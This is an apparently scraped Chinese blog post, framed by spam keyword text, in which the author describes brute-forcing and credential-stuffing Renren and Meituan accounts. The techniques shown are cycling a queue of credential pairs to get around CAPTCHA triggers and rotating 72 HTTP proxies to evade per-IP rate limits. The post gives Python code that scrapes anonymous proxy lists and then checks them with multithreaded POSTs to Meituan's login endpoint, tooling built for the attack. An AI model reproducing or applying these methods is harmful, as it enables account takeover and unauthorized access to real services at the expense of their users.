国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > Python > 正文

批量獲取及驗證HTTP代理的Python腳本

2020-02-23 04:37:13
字體:
來源:轉載
供稿:網友

HTTP暴力破解、撞庫,有一些慣用的技巧,比如:

1. 在掃號人人網時,我遇到單個賬號錯誤兩次,強制要求輸入驗證碼,而對方并未實施IP策略。

我采用維護10萬(用戶名,密碼) 隊列的方式來繞過驗證碼。具體的做法是,當某個用戶名、密碼組合遇到需要驗證碼,就把該破解序列掛起,放到隊列尾部等待下次測試,繼續破解其他賬號密碼。

這樣就可以保證2/3的時間都在進行正常破解和掃號。

2. 在破解美團網某系統賬號時,我遇到了單個IP訪問有一定限制,請求頻率不可過快。于是我掛了72個 HTTP代理來解決這個問題。 看似每個IP的請求都正常,但其實從整個程序上看,效率還是挺可觀的。

本篇我發出自己抓HTTP的腳本片段,其實只有幾行。匿名代理是從這里抓取的:http://www.xici.net.co/nn/

首先獲取代理列表 :

from bs4 import BeautifulSoupimport urllib2of = open('proxy.txt' , 'w')for page in range(1, 160):  html_doc = urllib2.urlopen('http://www.xici.net.co/nn/' + str(page) ).read()  soup = BeautifulSoup(html_doc)  trs = soup.find('table', id='ip_list').find_all('tr')  for tr in trs[1:]:    tds = tr.find_all('td')    ip = tds[1].text.strip()    port = tds[2].text.strip()    protocol = tds[5].text.strip()    if protocol == 'HTTP' or protocol == 'HTTPS':      of.write('%s=%s:%s/n' % (protocol, ip, port) )      print '%s=%s:%s' % (protocol, ip, port)of.close()

接著驗證代理是否可用,因為我是用于破解美團網系統的賬號,因此用了美團的頁面標記:

#encoding=gbkimport httplibimport timeimport urllibimport threadinginFile = open('proxy.txt', 'r')outFile = open('available.txt', 'w')lock = threading.Lock()def test():  while True:    lock.acquire()    line = inFile.readline().strip()    lock.release()    if len(line) == 0: break    protocol, proxy = line.split('=')    headers = {'Content-Type': 'application/x-www-form-urlencoded',      'Cookie': ''}    try:      conn = httplib.HTTPConnection(proxy, timeout=3.0)      conn.request(method='POST', url='http://e.meituan.com/m/account/login', body='login=ttttttttttttttttttttttttttttttttttttt&password=bb&remember_username=1&auto_login=1', headers=headers )      res = conn.getresponse()      ret_headers = str( res.getheaders() )       html_doc = res.read().decode('utf-8')      print html_doc.encode('gbk')      if ret_headers.find(u'/m/account/login/') > 0:        lock.acquire()        print 'add proxy', proxy        outFile.write(proxy + '/n')        lock.release()      else:        print '.',    except Exception, e:      print eall_thread = []for i in range(50):  t = threading.Thread(target=test)  all_thread.append(t)  t.start()  for t in all_thread:  t.join()inFile.close()outFile.close()

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 海林市| 板桥市| 阿拉善左旗| 林芝县| 临泽县| 诸城市| 南平市| 西畴县| 陆河县| 城固县| 金塔县| 珠海市| 来安县| 富民县| 丰镇市| 钦州市| 普格县| 望江县| 休宁县| 三门峡市| 葫芦岛市| 津南区| 大安市| 炎陵县| 巴马| 宽城| 伽师县| 嫩江县| 伊金霍洛旗| 梁山县| 梅河口市| 平顶山市| 敦煌市| 邵东县| 缙云县| 浮梁县| 赣榆县| 高安市| 军事| 岫岩| 昭通市|